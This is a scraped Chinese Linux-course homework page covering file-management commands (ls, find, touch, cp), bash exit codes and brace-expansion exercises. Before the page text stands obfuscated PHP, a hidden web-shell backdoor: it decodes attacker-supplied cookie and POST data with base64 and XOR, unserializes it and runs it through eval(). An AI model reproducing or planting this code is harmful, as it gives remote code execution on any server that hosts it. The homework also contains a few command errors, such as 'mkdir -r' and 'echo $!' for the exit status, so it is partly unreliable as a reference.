$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 马哥教育网络班19期第二周课程练习 | Linux运维部落

马哥教育网络班19期第二周课程练习

1、Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示。

cd:切换目录命令
实例

 cd [dirctory] 切换目录
 cd .. 返回上一级目录
 cd -  来回切换
 cd ~  切换到家目录

pwd:显示当前目录
实例

  pwd:显示当前目录

ls:列出目录内容
实例与常见的使用方法

   ls -ld  [dirctory]或[file]
   ls -al  显示所有文件包括隐藏文件
   ls -i   显示所有的文件的iNode  后面加文件名或目录命只显示单个iNode 
   ls --color  以彩色形式显示文件

alias:别名

实例

alias l='ls -l'  定义别名 alias  alias=“command”

cat:查看文件的内容

     实例和使用方法
        cat filename 直接显示这个文件
        cat -n filename  对行进行编号
        cat -b filename  对空白行不进行编号
        cat >  linuxsir.org.txt  << EOF  注:创建linuxsir.org.txt文件;
         输入内容
        EOF结束

more:查看文件的内容

        用man来查看用法

less:查看文件的内容

      用man来查看用法

tail:查看尾部文件内容
实例和使用方法

     tail -n # filename   指定获取后#行
     tail -c # filename   指定获取后#字节
     tail -f filename   动态获取后面追加的内容

head:查看头部文件内容
实例和使用方法

    head -n # filename   指定获取后前#行
    head  -c # filename   指定获取前#字节

split:分割文件
实例和使用方法

 split -l 300 large_file.txt new_file_prefix 
 对与txt文本文件,可以通过指定分割后文件的行数来进行文件分割。 
 split -b 10m large_file.bin new_file_prefix 
 对于可执行文件等二进制文件,则不能通过文件行数来进行文件分割,此时我们可以指定分割大小来分隔文件。

cut:剪切命令
实例和使用方法
cut -d分隔符 -f指定字段

            #: 第#个字段
            #,#[,#]:离散的多个字段,例如1,3,6
            #-#:连续的多个字段, 例如1-6
            还可以混合使用 1-3,5
 cut -b 指定字节
 cut -c 指定字符

wc:统计指定文件中的字节数、字数、行数,并将统计结果显示输出。
实例和使用方法

       wc -l filename  统计行数
        wc -w  filename   统计字数
        wc -c filename  统计字符

sort:排序命令
实例和使用方法

      sort -f  filename 忽略字符大小写
       sort -r  filename 逆序排序
    sort -t DELIMITER filename 指定字段分隔符
     sort -k# filename   以指定字段为标准排序
     sort-n filename 以数值大小进行排序
      sort -u filename uniq,排序后去重

uniq:去重命令
实例和使用方法

      uniq -c filename 显示每行重复出现的次数;
      uniq -d filename 仅显示重复过的行;
      uniq -u filename 仅显示不曾重复的行;

    Note: 连续且完全相同方为重复

mkdir:创建目录
实例和使用方法

  mkdir -p  /dirctory/files   递归创建文件
  mkdir -m [+-]mode files 指定权限创建文件

touch:创建文件
实例和使用方法

 三个时间戳:
        access time:访问时间,简写为atime,读取文件内容
        modify time: 修改时间, mtime,改变文件内容(数据)
        change time: 改变时间, ctime,元数据发生改变

   touch  -a file  only atime
   touch  -m  file  only mtime
   touch  -t STAMP 使用指定时间,不是现在时间
             [[CC]YY]MMDDhhmm[.ss]
   touch -c  file   如果文件不存,则不予创建

mv:重命名
实例和使用方法

 mv -b oldfilename newfilename  重命名之前先备份
 mv oldfilename newfilename 
 mv oldfielname1 oldfilename2  newdirctory
 mv -i oldfilename  newfilename  目标文件已存在,覆盖之前会询问

cp:复制
实例和使用方法

cp file  /tmp/file  复制file到/tmp下的file file可以重命名
cp -a 用来备份文件
cp -r dirctory  dirctory  复制目录的内容到另一个目录

rm:删除
实例和使用方法

rm -r dirctory 递归删除
rm -f file  强制删除 
rm -i file 询问删除

ln:链接
实例和使用方法

 ln -s file  filelink  创建软连接
 ln  file  filehardlink 穿件硬连接

which:查看可执行文件的位置。
实例和使用方法

  which command

whereis:查看文件的位置。
实例和使用方法

  whereis  **            将和**文件相关的文件都查找出来
  whereis -b **           把二进制文件找出来 也就是可执行文件

locate:配合数据库查看文件位置。并不是实时的
实例和使用方法

     locate filename      会查找所有有filename的文件或目录

     用man 看

find:实际搜寻硬盘查询文件名称 实时
find:
实时查找工具,通过遍历指定路径下的文件系统完成文件查找;

    语法:
        find [OPTION]... [查找路径] [查找条件] [处理动作]
            查找路径:指定具体目标路径;默认为当前目录;
            查找条件:指定的查找标准,可以文件名、大小、类型、权限等标准进行;默认为找出指定路径下的所有文件;
            处理动作:对符合条件的文件做什么操作;默认输出至屏幕;

            查找条件:
                根据文件名查找:
                    -name "文件名称":支持使用glob
                        *, ?, [], [^]
                    -iname "文件名称":不区分字母大小写

                    -regex "PATTERN":以PATTERN匹配整个文件路径字符串,而不仅仅是文件名称;

                根据属主、属组查找:
                    -user USERNAME:查找属主为指定用户的文件;
                    -group GRPNAME: 查找属组为指定组的文件;

                    -uid UserID:查找属主为指定的UID号的文件;
                    -gid GroupID:查找属组为指定的GID号的文件;

                    -nouser:查找没有属主的文件;
                    -nogroup:查找没有属组的文件;

                根据文件类型查找:
                    -type TYPE:
                        f: 普通文件
                        d: 目录文件
                        l: 符号链接文件
                        s:套接字文件
                        b: 块设备文件
                        c: 字符设备文件
                        p: 管道文件

                组合条件:
                    与:-a
                    或:-o
                    非:-not, !

                    !A -a !B = !(A -o B)
                    !A -o !B = !(A -a B)

                    找出/tmp目录下,属主不是root,且文件名不是fstab的文件;
                        find /tmp \( -not -user root -a -not -name 'fstab' \) -ls
                        find /tmp -not \( -user root -o -name 'fstab' \) -ls

                根据文件大小来查找:
                    -size [+|-]#UNIT
                        常用单位:k, M, G

                        #UNIT: (#-1, #]
                        -#UNIT:[0,#-1]
                        +#UNIT:(#,oo)

                根据时间戳:
                    以“天”为单位;
                        -atime [+|-]#,  
                            #: [#,#+1)
                            +#: [#+1,oo]
                            -#: [0,#)
                        -mtime
                        -ctime

                    以“分钟”为单位:
                        -amin
                        -mmin
                        -cmin

                根据权限查找:
                    -perm [/|-]MODE
                        MODE: 精确权限匹配
                        /MODE:任何一类(u,g,o)对象的权限中只要能一位匹配即可;
                        -MODE:每一类对象都必须同时拥有为其指定的权限标准;

            处理动作:
                -print:默认的处理动作,显示至屏幕;
                -ls:类似于对查找到的文件执行“ls -l”命令;
                -delete:删除查找到的文件;
                -fls /path/to/somefile:查找到的所有文件的长格式信息保存至指定文件中;
                -ok COMMAND {} \; 对查找到的每个文件执行由COMMAND指定的命令;
                    对于每个文件执行命令之前,都会交互式要求用户确认;
                -exec COMMAND {} \; 对查找到的每个文件执行由COMMAND指定的命令; 
                    {}: 用于引用查找到的文件名称自身;

                注意:find传递查找到的文件至后面指定的命令时,查找到所有符合条件的文件一次性传递给后面的命令;
                有些命令不能接受过多参数,此时命令执行可能会失败;另一种方式可规避此问题:
                    find | xargs COMMAND

2、bash的工作特性之命令执行状态返回值和命令行展开所涉及的内容及其示例演示。

bash的工作特性之命令执行状态返回值

   成功:0
   失败:1-255
使用echo $! 查看

命令行展开

  ~: 展开为用户的主目录
    ~USERNAME:展开为指定用户的主目录
    {}:可承载一个以逗号分隔的列表,并将其展开为多个路径
        /tmp/{a,b} = /tmp/a, /tmp/b
        /tmp/{tom,jerry}/hi = /tmp/tom/hi, /tmp/jerry/hi

3、请使用命令行展开功能来完成以下练习:

(1)、创建/tmp目录下的:a_c, a_d, b_c, b_d

mkdir -r {a,b}_{c,d}

(2)、创建/tmp/mylinux目录下的:
mkdir -p mylinux/{bin,boot/grub,dev,etc/{rc.d/init.d,sysconfig/network-scripts},lib/modules,lib64,proc,sbin,sys,tmp,usr/local/{bin,sbin},var/{lock,log,run}}

mylinux/
├── bin
├── boot
│   └── grub
├── dev
├── etc
│   ├── rc.d
│   │   └── init.d
│   └── sysconfig
│       └── network-scripts
├── lib
│   └── modules
├── lib64
├── proc
├── sbin
├── sys
├── tmp
├── usr
│   └── local
│       ├── bin
│       └── sbin
└── var
    ├── lock
    ├── log
    └── run#

4、文件的元数据信息有哪些,分别表示什么含义,如何查看?如何修改文件的时间戳信息。

   [root@king-liu mylinux]# stat bin   使用stat查看
  File: `bin'   文件
   Size: 4096  大小        Blocks: 8   块大小       IO Block: 4096 输入输出块大小  directory
  Device: 802h/2050d设备    Inode: 2883666  iNode号   Links: 2  链接
 Access: (0755/drwxr-xr-x) 权限 Uid: (    0/    root)   Gid: (    0/    root)
 Access: 2016-06-19 06:42:46.032726013 +0800
 Modify: 2016-06-19 06:42:46.032726013 +0800
 Change: 2016-06-19 06:42:46.032726013 +0800

 三个时间戳:
        access time:访问时间,简写为atime,读取文件内容
        modify time: 修改时间, mtime,改变文件内容(数据)
        change time: 改变时间, ctime,元数据发生改变
   touch -a :仅更新Access time(同时更新Change为current time)
   touch -m:仅更新Modify time(同时更新Change为current time)
   touch -c:不创建新文件
   touch -t:使用指定的时间更新时间戳(仅更改Access time与Modify time,Change time更新为current time)
   例:touch -t  [[CC]YY]MMDDhhmm[.ss] filename

5、如何定义一个命令的别名,如何在命令中引用另一个命令的执行结果?

   alias  commandname=“command option ....”
   |   使用管道命令可以引用另一个命令

6、显示/var目录下所有以l开头,以一个小写字母结尾,且中间至少出现一位数字(可以有其它字符)的文件或目录。

  ls -d /var/l*[0-9]*[[:lower:]]

7、显示/etc目录下,以任意一个数字开头,且以非数字结尾的文件或目录。

  ls -d /etc/[0-9]*[^0-9]

8、显示/etc目录下,以非字母开头,后面跟了一个字母以及其它任意长度任意字符的文件或目录。

   ls -d /etc/[^a-z][a-z]*

9、在/tmp目录下创建以tfile开头,后跟当前日期和时间的文件,文件名形如:tfile-2016-05-27-09-32-22。

  touch tfile-"$(date +%F-%H-%M-%S)"

10、复制/etc目录下所有以p开头,以非数字结尾的文件或目录到/tmp/mytest1目录中。

 cp -r /etc/p*[^0-9] /tmp/mytest1

11、复制/etc目录下所有以.d结尾的文件或目录至/tmp/mytest2目录中。

 cp -r /etc/*.d  /tmp/mytest2

12、复制/etc/目录下所有以l或m或n开头,以.conf结尾的文件至/tmp/mytest3目录中。

cp /etc/[1mn]*.conf /tmp/mytest3

原创文章,作者:N19_king,如若转载,请注明出处:http://www.178linux.com/18607

(0)
上一篇 2016-06-18 22:32
下一篇 2016-06-19 11:32

相关推荐

  • 三剑客之一sed命令

    sed sed ‘2p’ /etc/passwd  打印paswwd的第二行 这样执行结果看能看出第二行显示两次 sed -n ‘2p’ /etc/passwd -n 执行后 会取出当前行显示. n是关闭打印  例如[root@cent7 ~]#ifconfig ens33|sed -n &…

    Linux干货 2017-08-13
  • 第一周作业

    1、描述计算机的组成及其功能 答:计算机主要有5大组件构成: 1) 计算器:用户数据计算,主要是指CPU 2) 控制器:用于控制数据流或者指令流,控制计算机系统的各个组件的协同工作以及信息的流动,如各种控制芯片(南桥,北桥等) 3) 存储器:用户数据的存放,如内存 4) 输入设备:如键盘,鼠标等 5) 输出设备:如显示器,外置的存储设备( 硬盘,光…

    Linux干货 2016-10-30
  • python写一个通讯录之step by step

    编写过程:     第一步:手动代码堆积         第二步:函数复用         第三步:数据持久化之数据保存         第四步:数据持久化之数据读取       &nbsp…

    Linux干货 2015-03-26
  • 使用httpd反向代理模块实现tomcat负载均衡集群(下)

    上一篇讲解了http使用mod_http和mod_ajp代理模块实现tomcat负载均衡,下面我们来讲解使用http的mod_jk实现taomcat的负载均衡集群: 注意:http的mod_jk是第三方扩展模块,在新http版本中以不支持,在httpd 1.3和2.0效果较好 6、使用mod_jk实现tomcat负载均衡集群 6.1安装mod_jk [roo…

    Linux干货 2015-07-21
  • N22-妙手-第八周课程练习

    1、请描述网桥、集线器、二层交换机、三层交换机、路由器的功能、使用场景与区别。     网桥:         一种网络设备,负责网络桥接,将网络的多个网段在数据链路层连接起来。     集线器: &…

    Linux干货 2016-11-07
  • Linxux运维基础小计

    常用cat、ls、touch、mkdir、cp、mv小结 ·cat连续的将文件的内容显示在银幕上 用法:cat[OPTION]…[FILE]… 参数 -A显示所有非正常的所有符号 -E显示行结束符 -T显示制表符 -v显示其他的非打印字符 -n对显示的行进行编号,与文件内容没有关系 -b:打印出行号(空白行不标行号) 直接输入cat命令表示等待用户的输入并打…

    2017-02-18

评论列表(1条)

  • 马哥教育
    马哥教育 2016-06-21 22:44

    排版很好,如果可以在写一些例子说明一下会更好,加油!